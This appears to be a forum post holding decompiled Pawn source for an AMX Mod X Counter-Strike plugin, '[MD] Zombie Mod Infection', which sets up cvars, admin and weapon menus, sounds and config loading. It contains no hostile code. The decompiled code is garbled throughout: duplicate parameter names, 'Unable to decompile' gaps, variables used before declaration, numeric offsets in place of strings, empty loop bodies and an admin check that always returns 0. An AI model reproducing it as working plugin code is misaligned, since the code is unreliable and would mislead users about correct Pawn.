Код:
#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <cstrike>
#include <hamsandwich>
new g_Zombie[33];
new g_Human[33];
new g_IsFirstZombie[33];
new g_ZombieNominee[33];
new g_HasPowersOverPlugin[33];
new g_FirstConnected[33];
new g_Flashlight[33];
new g_SpecTarget[33];
new g_NVG[33];
new g_Weap_Repick[33];
new g_Weap_Prim[33];
new g_Weap_Sec[33];
new g_Weap_Nade[33];
new szFZombieModel[256];
new szZombieModel[256];
new szvKnifeModel[256];
new szpKnifeModel[256];
new szMenuBody[1024];
new keys;
new CurrentMenu[33];
new g_MenuAddSubNum = 1;
new g_MenuAddSubLoc;
new HostageMap;
new zmod_enabled;
new zmod_lightstyle;
new zmod_lightning;
new zmod_autorestart;
new zmod_specinfo;
new zmod_remove_door;
new zmod_remove_door_rotating;
new zmod_remove_hostages;
new zmod_remove_bomb;
new zmod_remove_obj_zones;
new human_weapon_menu;
new human_weapon_names;
new human_weapon_shotguns;
new human_weapon_smgs;
new human_weapon_rifles;
new human_weapon_snipers;
new human_weapon_auto_snipers;
new human_weapon_pistols;
new human_weapon_nades;
new human_weapon_m3;
new human_weapon_xm1014;
new human_weapon_tmp;
new human_weapon_mac10;
new human_weapon_mp5navy;
new human_weapon_p90;
new human_weapon_ump45;
new human_weapon_famas;
new human_weapon_galil;
new human_weapon_ak47;
new human_weapon_m4a1;
new human_weapon_sg552;
new human_weapon_aug;
new human_weapon_scout;
new human_weapon_awp;
new human_weapon_sg550;
new human_weapon_g3sg1;
new human_weapon_glock18;
new human_weapon_usp;
new human_weapon_p228;
new human_weapon_deagle;
new human_weapon_fiveseven;
new human_weapon_elite;
new human_weapon_hegrenade;
new human_weapon_smokegrenade;
new human_weapon_hesmgrenade;
new human_FlashlightE;
new human_FlashlightT;
new human_FlashlightR;
new human_FlashlightG;
new human_FlashlightB;
new human_FlashlightS;
new human_last_health;
new human_health;
new human_speed;
new human_clip;
new human_clip_cost;
new zombie_first_model;
new zombie_model;
new zombie_vknife;
new zombie_pknife;
new zombie_fhealth;
new zombie_health;
new zombie_bhealth;
new zombie_speed;
new zombie_first_footsteps;
new zombie_footsteps;
new zombie_infect_deathmsg;
new g_FirstZombiePicked;
new g_LastHuman;
new g_Restart_Attempt[33];
new gmsg_DeathMsg;
new gmsg_ScoreAttrib;
new gmsg_NVGToggle;
new gmsg_StatusIcon;
new gmsg_TeamInfo;
new gmsg_Health;
new zombie_chants[5][1] = {
"nihilanth/nil_alone.wav",
"nihilanth/nil_comes.wav",
"nihilanth/nil_slaves.wav",
"nihilanth/nil_die.wav",
"nihilanth/nil_now_die.wav"
};
new zombie_first[4][1] = {
"MD-Infection/zombie_first1.wav",
"MD-Infection/zombie_first2.wav",
"MD-Infection/zombie_first3.wav",
"MD-Infection/zombie_first4.wav"
};
new zombie_die[5][1] = {
"MD-Infection/zombie_die1.wav",
"MD-Infection/zombie_die2.wav",
"MD-Infection/zombie_die3.wav",
"MD-Infection/zombie_die4.wav",
"MD-Infection/zombie_die5.wav"
};
new zombie_infect[4][1] = {
"scientist/c1a0_sci_catscream.wav",
"MD-Infection/zombie_infec1.wav",
"MD-Infection/zombie_infec2.wav",
"MD-Infection/zombie_infec3.wav"
};
new cfgDir[32];
new spawns[512][9];
new csdmSpawnCount;
new spawnCount;
new g_FootSteps[33];
new g_MaxClients;
new g_GodMode[33];
new glob88DC[2730];
new globB384[1621];
new globCCD8[326];
new globD1F0;
new globD1F4[1476];
new globE904;
new globE908[685];
new globF3BC[116];
new g_LightStyle[856];
new szMessage[499];
new glob10AB8[321];
new glob10FBC[76];
new glob110EC[703];
new glob11BE8[53];
new glob11CBC[50];
new glob11D84[18];
new glob11DCC[13];
new glob11E00[16];
new glob11E40[13];
new glob11E74[14];
new glob11EAC[16];
new glob11EEC[13];
new glob11F20[16];
new glob11F60[16];
new glob11FA0[15];
new glob11FDC[14];
new glob12014[14];
new glob1204C[13];
new glob12080[24];
new glob120E0[12];
new glob12110[572];
new glob12A00[4800];
new szSpecMode[66];
new glob17608[567];
new glob17EE4[21];
new glob17F38[46];
new szModel[82];
new glob18138[431];
new glob187F4[62];
new glob188EC;
new glob188F0[20];
new glob18940[6];
new glob18958[3];
new message[32];
new model[9];
new szModel[39];
new szModel[239];
new iOrigin[3];
new count[199];
new glob1948C[31];
new glob19508[30];
new glob19580[30];
new glob195F8[33];
new glob1967C[33];
new glob19700[33];
new glob19784[33];
new glob19808[3];
new vecHolder[3];
new glob19CEC[28];
new glob19D5C[14];
new glob19D94[12141];
new glob25B48;
stock abs(x)
{
return (x > 0 ? x : -x);
}
stock operator++(Float:)(Float:oper)
{
return 1.0 + oper;
}
stock operator/(_:,Float:)(oper2, Float:oper2)
{
return oper2 / oper2;
}
stock operator+(Float:,_:)(Float:oper2, oper2)
{
return oper2 + oper2;
}
stock operator!=(Float:,Float:)(Float:oper2, Float:oper2)
{
return floatcmp(oper2, oper2) != 0;
}
stock replace_all(what, what, what, with)
{
new var0 = 0;
if(var0 = contain(what, what) == -1)
{
return 0;
}
new var1 = 0;
new var2 = strlen(with);
new var3 = strlen(what) - var2;
new var4 = strlen(what);
new var5 = 0;
while(replace(what, what - var0, what, with))
{
var0 = var0 + var2;
var4 = var4 - var3;
if(var0 >= var4)
{
}
else
{
var5 = contain(what, what);
if(var5 == -1)
{
}
else
{
var0 = var0 + var5;
var1++;
}
}
}
return var1;
}
stock is_user_admin(id)
{
new var0 = get_user_flags(id, 0);
return 0;
}
stock cmd_access(id, level, accesssilent, accesssilent, accesssilent)
{
if(!(var0 & 33554432))
{
}
if(var0 > 0)
{
}
new var0 = 0;
if(id == 1)
{
var0 = 1;
}
else if(!is_dedicated_server())
{
}
if(level == 16777216)
{
if(is_user_admin(id))
{
var0 = 1;
}
}
else if(level & get_user_flags(id, 0))
{
var0 = 1;
}
else if(!level)
{
var0 = 1;
}
if(!var0)
{
if(!accesssilent)
{
console_print(id, "%L", id, 12);
}
return 0;
}
if(accesssilent > read_argc())
{
new var1[32], var2[128], var3 = 0;
get_concmd(accesssilent, var1, 31, var3, var2, 127, level, -1);
console_print(id, "%L: %s %s", id, "USAGE", var1, var2);
return 0;
}
return 1;
}
stock cmd_target(arg, arg, flags)
{
new var0 = find_player("bl", arg);
if(var0)
{
if(var0 != find_player("blj", arg))
{
console_print(arg, "%L", arg, 164);
return 0;
}
}
else if(!var0 = find_player("c", arg) && arg == 35 && arg + 4)
{
var0 = find_player("k");
}
if(!var0)
{
console_print(arg, "%L", arg, 252);
return 0;
}
if(flags & 1)
{
if(get_user_flags(var0, 0) & 1 && (flags & 2 ? var0 != arg : 1))
{
new var1[32];
get_user_name(var0, var1, 31);
console_print(arg, "%L", arg, 316, var1);
return 0;
}
}
if(flags & 4)
{
if(!is_user_alive(var0))
{
new var1[32];
get_user_name(var0, var1, 31);
console_print(arg, "%L", arg, 372, var1);
return 0;
}
}
if(flags & 8)
{
if(is_user_bot(var0))
{
new var1[32];
get_user_name(var0, var1, 31);
console_print(arg, "%L", arg, 444, var1);
return 0;
}
}
return var0;
}
stock get_basedir(len, len)
{
return get_localinfo("amxx_basedir", len, len);
}
stock get_configsdir(len, len)
{
return get_localinfo("amxx_configsdir", len, len);
}
stock fm_find_ent_by_owner(index, jghgtype, jghgtype, jghgtype)
{
new var0[24.75][3.25], var1 = index;
switch(jghgtype) {
case 1:
/* Unable to decompile from 0xEC0 to 0xEE4 */
case 2:
/* Unable to decompile from 0xEE4 to 0xF24 */
}
while(var1 = engfunc(12, var1, var0, jghgtype) && pev(var1, 18) != jghgtype)
{
}
return var1;
}
stock fm_give_item(item, item)
{
if(!equal(item, "weapon_", 7) && !equal(item, "ammo_", 5) && !equal(item, "item_", 5) && !equal(item, "tf_weapon_", 10))
{
return 0;
}
new var0 = engfunc(21);
if(!pev_valid(var0))
{
return 0;
}
new var1[3];
pev(item, 118, var1);
set_pev(var0, 118, var1);
set_pev(var0, 83, pev(var0, 83) | 1073741824);
dllfunc(1, var0);
new var2 = pev(var0, 70);
dllfunc(4, var0, item);
if(pev(var0, 70) != var2)
{
return var0;
}
engfunc(20, var0);
return -1;
}
stock fm_get_user_maxspeed(index)
{
new var0 = 0;
pev(index, 56, var0);
return var0;
}
stock fm_strip_user_weapons(index)
{
new var0 = engfunc(21);
if(!pev_valid(var0))
{
return 0;
}
dllfunc(1, var0);
dllfunc(3, var0, index);
engfunc(20, var0);
return 1;
}
stock fm_cs_user_spawn(index)
{
set_pev(index, 80, 3);
dllfunc(1, index);
set_pev(index, 100, 0);
return 1;
}
stock fm_set_user_suit(index, suit, sound)
{
new var0 = pev(index, 79);
if(!suit)
{
set_pev(index, 79, var0 & 2147483647);
}
else if(!(var0 & -2147483648))
{
set_pev(index, 79, var0 | -2147483648);
if(sound)
{
emit_sound(index, 2, "items/tr_kevlar.wav", 1.0, 0.8, 0, 100);
}
}
return 0;
}
stock fm_user_kill(flag, flag)
{
if(flag)
{
new Float:var0 = 0.0;
pev(flag, 42, var0);
set_pev(flag, 42, var0);
}
dllfunc(10, flag);
return 1;
}
public __fatal_ham_error(id, err, reason)
{
new var0 = get_func_id("HamFilter", -1);
new var1 = 1;
if(-1 != var0 && callfunc_begin_i(var0, -1) == 1)
{
callfunc_push_int(id);
callfunc_push_int(err);
callfunc_push_str(reason, false);
if(callfunc_end() == 1)
{
var1 = 0;
}
}
if(var1)
{
set_fail_state(reason);
}
return 0;
}
public plugin_init()
{
new Menu:var0[64];
formatex(var0, 63, "%s - %s (%s)", "3.0", "sawce", "1");
register_plugin("[MD] Zombie Mod Infection", var0, "MysticDeath.com");
register_cvar("Zombie Mod Infection", var0, 4, 0.0);
register_event("CurWeapon", "event_CurWeapon", "be", glob88DC);
register_event("ResetHUD", "event_ResetHUD", "be", glob88DC);
register_event("Health", "event_Health", "be", glob88DC);
register_event("Damage", "event_Damage", "be", glob88DC);
register_event("HLTV", "event_new_round", "a", "1=0", 35440);
register_logevent("logevent_Round_End", 2, 35532);
register_event("SendAudio", "event_SendAudio", "a", "2=%!MRAD_terwin", 35756, 35816);
register_event("DeathMsg", "event_DeathMsg", "ad", glob88DC);
register_event("TextMsg", "event_game_restart", "a", "2=#Game_will_restart_in");
register_event("TextMsg", "event_Spec_Mode", "b", "2&#Spec_Mode");
register_event("SpecHealth2", "event_SpecHealth2", "bd", glob88DC);
register_forward(109, "fw_GetGameDescription", 0);
register_forward(122, "fw_ClientUserInfoChanged", 0);
register_forward(105, "fw_PlayerPostThink", 0);
register_forward(104, "fw_PlayerPreThink", 0);
RegisterHam(9, "player", "player_TakeDamage", 0);
RegisterHam(42, "weaponbox", "ham_weapon_touch", 0);
register_message(get_user_msgid("WeapPickup"), "message_WeapPickup");
register_message(get_user_msgid("AmmoPickup"), "message_AmmoPickup");
register_message(get_user_msgid("TextMsg"), "message_TextMsg");
gmsg_DeathMsg = get_user_msgid("DeathMsg");
gmsg_ScoreAttrib = get_user_msgid("ScoreAttrib");
gmsg_NVGToggle = get_user_msgid("NVGToggle");
gmsg_StatusIcon = get_user_msgid("StatusIcon");
gmsg_TeamInfo = get_user_msgid("TeamInfo");
gmsg_Health = get_user_msgid("Health");
register_menucmd(register_menuid("\\yZombie Mod Infection Menu:", 0), 1023, "zmod_menu_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Menu \\r[Help]", 0), 1023, "zmod_help_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Owner Menu:", 0), 1023, "admin_owner_menu_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Owner Menu \\r[Plugi", 0), 1023, "admin_owner_menu_plugins_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu:", 0), 1023, "admin_menu_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Globa", 0), 1023, "admin_menu_global_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Human", 0), 1023, "admin_menu_humans_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Zombi", 0), 1023, "admin_menu_zombies_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Flash", 0), 1023, "admin_menu_flashlight_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Weapo", 0), 1023, "admin_menu_weapon_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Shotg", 0), 1023, "admin_menu_weapon_shotguns_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[SMGs]", 0), 1023, "admin_menu_weapon_smgs_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Rifle", 0), 1023, "admin_menu_weapon_rifles_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Snipe", 0), 1023, "admin_menu_weapon_sniper_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Auto ", 0), 1023, "admin_menu_weapon_asniper_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Pisto", 0), 1023, "admin_menu_weapon_pistols_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Gerna", 0), 1023, "admin_menu_weapon_gernades_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Admin Menu \\r[Force", 0), 1023, "admin_menu_force_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Weapon Menu:", 0), 1023, "weapon_main_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Weapon Menu \\r[Shot", 0), 1023, "weapon_menu_shotguns_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Weapon Menu \\r[SMGs", 0), 1023, "weapon_menu_smgs_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Weapon Menu \\r[Rifl", 0), 1023, "weapon_menu_rifles_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Weapon Menu \\r[Snip", 0), 1023, "weapon_menu_snipers_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Weapon Menu \\r[Auto", 0), 1023, "weapon_menu_autosnipers_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Weapon Menu \\r[Pist", 0), 1023, "weapon_menu_pistols_cmds");
register_menucmd(register_menuid("\\yZombie Mod Infection Weapon Menu \\r[Gern", 0), 1023, "weapon_menu_gernades_cmds");
register_concmd("amx_zmod", "zmod_trigger", 524288, "<0/1> Disable/Enable Zombie Mod Infection", -1);
register_concmd("amx_zmod_menu", "zmod_show_admin_menu", 524288, "Zombie Mod Infection Admin Menu", -1);
register_concmd("amx_zmod_lights", "zmod_light_change", 524288, "<a/b/c/d/ect> Change Map Light", -1);
register_concmd("amx_zmod_force", "zmod_admin_force", 524288, "Forces player to become a human/zombie", -1);
register_saycmd(45572, "zmod_help", -1, globB240);
register_saycmd(45636, "zmod_help", -1, globB284);
register_saycmd(45704, "zmod_menu", -1, globB2CC);
register_saycmd(45776, "zmod_credits", -1, globB32C);
register_clcmd("nightvision", "zmod_nvg", -1, globB384, -1);
register_clcmd("say", "zmod_say", -1, globB384, -1);
register_clcmd("buyammo1", "zmod_buyammo", -1, globB384, -1);
register_clcmd("buyammo2", "zmod_buyammo", -1, globB384, -1);
register_clcmd("fullupdate", "clcmd_fullupdate", -1, globB384, -1);
zmod_enabled = register_cvar("amx_zmod_enabled", "1", 0, 0.0);
zmod_lightstyle = register_cvar("amx_zmod_light_style", "a", 0, 0.0);
zmod_lightning = register_cvar("amx_zmod_lightning", "1", 0, 0.0);
zmod_autorestart = register_cvar("amx_zmod_auto_restart", "1", 0, 0.0);
zmod_specinfo = register_cvar("amx_zmod_spec_info", "0", 0, 0.0);
zmod_remove_door = register_cvar("amx_zmod_remove_door", "0", 0, 0.0);
zmod_remove_door_rotating = register_cvar("amx_zmod_remove_door_rotating", "0", 0, 0.0);
zmod_remove_hostages = register_cvar("amx_zmod_remove_hostages", "1", 0, 0.0);
zmod_remove_bomb = register_cvar("amx_zmod_remove_bomb", "1", 0, 0.0);
zmod_remove_obj_zones = register_cvar("amx_zmod_remove_obj_zones", "1", 0, 0.0);
human_weapon_menu = register_cvar("amx_human_weapon_menu", "1", 0, 0.0);
human_weapon_names = register_cvar("amx_human_weapon_names", "1", 0, 0.0);
human_weapon_shotguns = register_cvar("amx_human_weapon_shotguns", "1", 0, 0.0);
human_weapon_smgs = register_cvar("amx_human_weapon_smgs", "1", 0, 0.0);
human_weapon_rifles = register_cvar("amx_human_weapon_rifles", "0", 0, 0.0);
human_weapon_snipers = register_cvar("amx_human_weapon_snipers", "0", 0, 0.0);
human_weapon_auto_snipers = register_cvar("amx_human_weapon_auto_snipers", "0", 0, 0.0);
human_weapon_pistols = register_cvar("amx_human_weapon_pistols", "1", 0, 0.0);
human_weapon_nades = register_cvar("amx_human_weapon_nades", "1", 0, 0.0);
human_weapon_m3 = register_cvar("amx_human_weapon_m3", "1", 0, 0.0);
human_weapon_xm1014 = register_cvar("amx_human_weapon_xm1014", "1", 0, 0.0);
human_weapon_tmp = register_cvar("amx_human_weapon_tmp", "1", 0, 0.0);
human_weapon_mac10 = register_cvar("amx_human_weapon_mac10", "1", 0, 0.0);
human_weapon_mp5navy = register_cvar("amx_human_weapon_mp5navy", "1", 0, 0.0);
human_weapon_p90 = register_cvar("amx_human_weapon_p90", "1", 0, 0.0);
human_weapon_ump45 = register_cvar("amx_human_weapon_ump45", "1", 0, 0.0);
human_weapon_famas = register_cvar("amx_human_weapon_famas", "1", 0, 0.0);
human_weapon_galil = register_cvar("amx_human_weapon_galil", "1", 0, 0.0);
human_weapon_ak47 = register_cvar("amx_human_weapon_ak47", "1", 0, 0.0);
human_weapon_m4a1 = register_cvar("amx_human_weapon_m4a1", "1", 0, 0.0);
human_weapon_sg552 = register_cvar("amx_human_weapon_sg552", "1", 0, 0.0);
human_weapon_aug = register_cvar("amx_human_weapon_aug", "1", 0, 0.0);
human_weapon_scout = register_cvar("amx_human_weapon_scout", "1", 0, 0.0);
human_weapon_awp = register_cvar("amx_human_weapon_awp", "1", 0, 0.0);
human_weapon_sg550 = register_cvar("amx_human_weapon_sg550", "1", 0, 0.0);
human_weapon_g3sg1 = register_cvar("amx_human_weapon_g3sg1", "1", 0, 0.0);
human_weapon_glock18 = register_cvar("amx_human_weapon_glock18", "1", 0, 0.0);
human_weapon_usp = register_cvar("amx_human_weapon_usp", "1", 0, 0.0);
human_weapon_p228 = register_cvar("amx_human_weapon_p228", "1", 0, 0.0);
human_weapon_deagle = register_cvar("amx_human_weapon_deagle", "1", 0, 0.0);
human_weapon_fiveseven = register_cvar("amx_human_weapon_fiveseven", "1", 0, 0.0);
human_weapon_elite = register_cvar("amx_human_weapon_elite", "1", 0, 0.0);
human_weapon_hegrenade = register_cvar("amx_human_weapon_hegrenade", "1", 0, 0.0);
human_weapon_smokegrenade = register_cvar("amx_human_weapon_smokegrenade", "1", 0, 0.0);
human_weapon_hesmgrenade = register_cvar("amx_human_weapon_hesmgrenade", "1", 0, 0.0);
human_FlashlightE = register_cvar("amx_human_flashlight_enabled", "0", 0, 0.0);
human_FlashlightT = register_cvar("amx_human_flashlight_type", "1", 0, 0.0);
human_FlashlightR = register_cvar("amx_human_flashlight_red", "255", 0, 0.0);
human_FlashlightG = register_cvar("amx_human_flashlight_green", "255", 0, 0.0);
human_FlashlightB = register_cvar("amx_human_flashlight_blue", "255", 0, 0.0);
human_FlashlightS = register_cvar("amx_human_flashlight_size", "10", 0, 0.0);
human_last_health = register_cvar("amx_human_last_health", "50", 0, 0.0);
human_health = register_cvar("amx_human_health", "100", 0, 0.0);
human_speed = register_cvar("amx_human_speed", "240", 0, 0.0);
human_clip = register_cvar("amx_human_clip", "1", 0, 0.0);
human_clip_cost = register_cvar("amx_human_clip_cost", "3000", 0, 0.0);
zombie_first_model = register_cvar("amx_zombie_first_model", "zombie", 0, 0.0);
zombie_model = register_cvar("amx_zombie_model", "zombie", 0, 0.0);
zombie_vknife = register_cvar("amx_zombie_vknife", "models/v_knife.mdl", 0, 0.0);
zombie_pknife = register_cvar("amx_zombie_pknife", globCCD8, 0, 0.0);
zombie_fhealth = register_cvar("amx_zombie_first_health", "3400", 0, 0.0);
zombie_health = register_cvar("amx_zombie_health", "1700", 0, 0.0);
zombie_bhealth = register_cvar("amx_zombie_brain_health", "100", 0, 0.0);
zombie_speed = register_cvar("amx_zombie_speed", "190", 0, 0.0);
zombie_first_footsteps = register_cvar("amx_zombie_first_footsteps", "1", 0, 0.0);
zombie_footsteps = register_cvar("amx_zombie_footsteps", "1", 0, 0.0);
zombie_infect_deathmsg = register_cvar("amx_zombie_infect_deathmsg", "2", 0, 0.0);
if(engfunc(12, 53172, 53212) || engfunc(12, 53272, 53312))
{
HostageMap = 1;
}
new var1[32], var2[64], var3[64];
get_configsdir(cfgDir, 31);
get_mapname(var1, 31);
formatex(var2, 63, "%s/csdm/%s.spawns.cfg", cfgDir, var1);
if(file_exists(var2))
{
new var4[10][6];
new var5 = fopen(var2, "rt");
while(var5 && !feof(var5))
{
fgets(var5, var3, 63);
if(!var3[0] || str_count(var3, 32) < 2)
{
}
else
{
}
}
parse(var3, var4[0], var4[1], var4[2], var4[3], var4[4], var4[5], var4[6], var4[7], var4[8], var4[9]);
spawns[spawnCount][0] = floatstr(var4[0]);
spawns[spawnCount][1] = floatstr(var4[1]);
spawns[spawnCount][2] = floatstr(var4[2]);
spawns[spawnCount][3] = floatstr(var4[3]);
spawns[spawnCount][4] = floatstr(var4[4]);
spawns[spawnCount][5] = floatstr(var4[5]);
spawns[spawnCount][6] = floatstr(var4[7]);
spawns[spawnCount][7] = floatstr(var4[8]);
spawns[spawnCount][8] = floatstr(var4[9]);
spawnCount++;
csdmSpawnCount++;
if(spawnCount >= 512)
{
}
else
{
}
if(var5)
{
fclose(var5);
}
}
else
{
collect_spawns(53524);
collect_spawns(53616);
}
set_task(1.0, "zmod_exec_cfg", 0, globD1F0, 0, globD1F4, 0);
set_task(2.0, "get_zombie_models", 0, globD1F0, 0, globD1F4, 0);
set_task(2.0, "setup_basics", 0, globD1F0, 0, globD1F4, 0);
set_task(3.0, "move_objective_zones", 0, globD1F0, 0, globD1F4, 0);
set_task(5.0, "lighting_effect", 0, globD1F0, 0, globD1F4, 0);
set_task(5.0, "zombie_chant", 0, globD1F0, 0, globD1F4, 0);
set_task(5.0, "auto_restart", 0, globD1F0, 0, globD1F4, 0);
return 0;
}
public plugin_precache()
{
get_configsdir(cfgDir, 31);
precache_model_by_file("amx_zombie_first_model", 54220);
precache_model_by_file("amx_zombie_first_model", 54340);
precache_model_by_file("amx_zombie_vknife", 54440);
precache_model_by_file("amx_zombie_pknife", 54588);
precache_sound("nihilanth/nil_thelast.wav");
precache_sound("nihilanth/nil_last.wav");
new var0 = 0;
for(var0 = 0; var0 < 5; var0++)
{
precache_sound(zombie_chants[var0]);
}
for(var0 = 0; var0 < 4; var0++)
{
precache_sound(zombie_first[var0]);
}
for(var0 = 0; var0 < 5; var0++)
{
precache_sound(zombie_die[var0]);
}
for(var0 = 0; var0 < 4; var0++)
{
precache_sound(zombie_infect[var0]);
}
return 0;
}
stock precache_model_by_file(cvar, default_value)
{
new var0[64];
zmod_get_config_file(var0, 63);
if(var0[0] && file_exists(var0))
{
new var1[512], var2 = 0, var3 = 0;
var2 = fopen(var0, "rt");
while(var2 && !feof(var2))
{
fgets(var2, var1, 511);
trim(var1);
for(var3 = 0; strlen(var1) - 2 > var3; var3++)
{
if((!var3 && var1[var3] == 59) || (var1[var3] == 47 && var1[var3 + 1] == 47))
{
copy(var1, var3, var1);
}
else
{
}
}
trim(var1);
new var4[64];
get_cvar_string(cvar, var4, 63);
if(-1 != containi(var1, cvar))
{
new var5[64], var6[64];
parse(var1, var5, var6);
if(equali(cvar, "amx_zombie_vknife", 0) || equali(cvar, "amx_zombie_pknife", 0))
{
if(!file_exists(var6))
{
if(equali(var6, "none", 0))
{
return 0;
}
log_amx("[MD] Error loading \"%s\". Default loaded.", var6);
return 0;
}
else
{
precache_model(var6);
}
}
else
{
new var7[64];
formatex(var7, 63, "models/player/%s/%s.mdl", var6, var6);
if(!strlen(var7) || !file_exists(var7))
{
if(equali(var6, "zombie", 0))
{
return 0;
}
formatex(var7, 63, "models/player/%s/%s.mdl", default_value, default_value);
precache_model(var7);
log_amx("[MD] Error loading \"%s\". Default loaded.", var6);
}
else
{
precache_model(var7);
}
}
}
}
if(var2)
{
fclose(var2);
}
}
return 0;
}
public setup_basics()
{
if(!get_pcvar_num(zmod_enabled))
{
return 1;
}
server_cmd("sv_skyname space");
server_cmd("sv_skycolor_r 0");
server_cmd("sv_skycolor_g 0");
server_cmd("sv_skycolor_b 0");
server_cmd("sv_maxspeed %d", get_pcvar_num(human_speed) + get_pcvar_num(zombie_speed) + 200);
if(get_pcvar_num(zmod_remove_door))
{
new var0 = 0;
while(var0 = engfunc(12, var0, 55848, 55888))
{
engfunc(20, var0);
}
}
if(get_pcvar_num(zmod_remove_door_rotating))
{
new var0 = 0;
while(var0 = engfunc(12, var0, 55928, 55968))
{
engfunc(20, var0);
}
}
return 1;
}
public get_zombie_models()
{
get_pcvar_string(zombie_first_model, szFZombieModel, 255);
new Menu:var0[64];
formatex(var0, 63, "models/player/%s/%s.mdl", szFZombieModel, szFZombieModel);
if(!file_exists(var0))
{
}
get_pcvar_string(zombie_model, szZombieModel, 255);
new var1[64];
formatex(var1, 63, "models/player/%s/%s.mdl", szZombieModel, szZombieModel);
if(!file_exists(var1))
{
}
get_pcvar_string(zombie_vknife, szvKnifeModel, 255);
if(!file_exists(szvKnifeModel))
{
if(equali(szvKnifeModel, "none", 0))
{
}
else
{
}
}
get_pcvar_string(zombie_pknife, szpKnifeModel, 255);
if(!file_exists(szvKnifeModel))
{
}
return 0;
}
stock zmod_get_config_file(Menu:len, len)
{
formatex(len, len, "%s/zmod_infection_md.cfg", cfgDir);
if(!file_exists(len))
{
len = 0;
}
return 0;
}
public zmod_exec_cfg()
{
new var0[64];
zmod_get_config_file(var0, 63);
if(var0[0] && file_exists(var0))
{
new var1[512], var2 = 0, var3 = 0;
var2 = fopen(var0, "rt");
while(var2 && !feof(var2))
{
fgets(var2, var1, 511);
trim(var1);
for(var3 = 0; strlen(var1) - 2 > var3; var3++)
{
if((!var3 && var1[var3] == 59) || (var1[var3] == 47 && var1[var3 + 1] == 47))
{
copy(var1, var3, var1);
}
else
{
}
}
if(-1 != containi(var1, "amx_zombie_pknife"))
{
new var4[64], var5[64];
parse(var1, var4, var5);
if(equali(var5, "none", 0))
{
}
else
{
}
}
}
trim(var1);
if(-1 != containi(var1, "amx_zmod_") || -1 != containi(var1, "amx_human_") || -1 != containi(var1, "amx_zombie_"))
{
if(var1[0])
{
server_cmd(var1);
}
}
if(var2)
{
fclose(var2);
}
}
server_exec();
return 0;
}
public clcmd_fullupdate()
{
return 2;
}
public zmod_trigger(cid, cid, cid)
{
if(!cmd_access(cid, cid, cid, 1, 0))
{
return 1;
}
new var0[5];
read_argv(1, var0, 4);
if(equali(var0, "1", 0) || equali(var0, "on", 0))
{
if(get_pcvar_num(zmod_enabled))
{
console_print(cid, "[MD] Zombie Mod Infection is already on!");
return 1;
}
zmod_trigger_on();
new var1[33], var2[33], var3 = get_cvar_num("amx_show_activity");
get_user_name(cid, var1, 32);
get_user_authid(cid, var2, 31);
log_amx("[MD] ADMIN %s<%s> has turned ON Zombie Mod Infection!", var1, var2);
switch(var3) {
case 1:
client_print(0, 3, "[MD] ADMIN has turned ON Zombie Mod Infection!");
case 2:
client_print(0, 3, "[MD] ADMIN %s has turned ON Zombie Mod Infection!", var1);
}
set_hudmessage(255, 255, 255, -1.0, 0.25, 0, 1.0, 5.0, 0.1, 0.2, -1);
show_hudmessage(0, "[MD] Zombie Mod Infectionis now ON!");
console_print(0, "[MD] Zombie Mod Infectionis now ON!");
client_print(0, 3, "[MD] Zombie Mod Infectionis now ON!");
return 1;
}
if(equali(var0, "0", 0) || equali(var0, "off", 0))
{
if(!get_pcvar_num(zmod_enabled))
{
console_print(cid, "[MD] Zombie Mod Infection is already off!");
return 1;
}
zmod_trigger_off();
new var1[33], var2[33], var3 = get_cvar_num("amx_show_activity");
get_user_name(cid, var1, 32);
get_user_authid(cid, var2, 31);
log_amx("[MD] ADMIN %s<%s> has turned OFF Zombie Mod Infection!", var1, var2);
switch(var3) {
case 1:
client_print(0, 3, "[MD] ADMIN has turned OFF Zombie Mod Infection!");
case 2:
client_print(0, 3, "[MD] ADMIN %s has turned OFF Zombie Mod Infection!", var1);
}
set_hudmessage(255, 255, 255, -1.0, 0.25, 0, 1.0, 5.0, 0.1, 0.2, -1);
show_hudmessage(0, "[MD] Zombie Mod Infection has been turned OFF!");
console_print(0, "[MD] Zombie Mod Infection has been turned OFF!");
client_print(0, 3, "[MD] Zombie Mod Infection has been turned OFF!");
return 1;
}
console_print(cid, "[MD] Invalid argument!");
client_print(cid, 3, "[MD] Invalid argument!");
return 1;
}
public zmod_trigger_on()
{
set_pcvar_num(zmod_enabled, 1);
new var0[32], var1 = 0, var2 = 0;
get_players(var0, var2, globE904, globE908);
for(var1 = 0; var1 < var2; var1++)
{
g_NVG[var0[var1]] = 0;
g_Zombie[var0[var1]] = 0;
g_Human[var0[var1]] = 0;
g_IsFirstZombie[var0[var1]] = 0;
g_ZombieNominee[var0[var1]] = 0;
g_HasPowersOverPlugin[var0[var1]] = 0;
g_FirstConnected[var0[var1]] = 0;
g_Flashlight[var0[var1]] = 0;
g_SpecTarget[var0[var1]] = 0;
g_FootSteps[var0[var1]] = 0;
g_GodMode[var0[var1]] = 0;
g_Weap_Repick[var0[var1]] = 0;
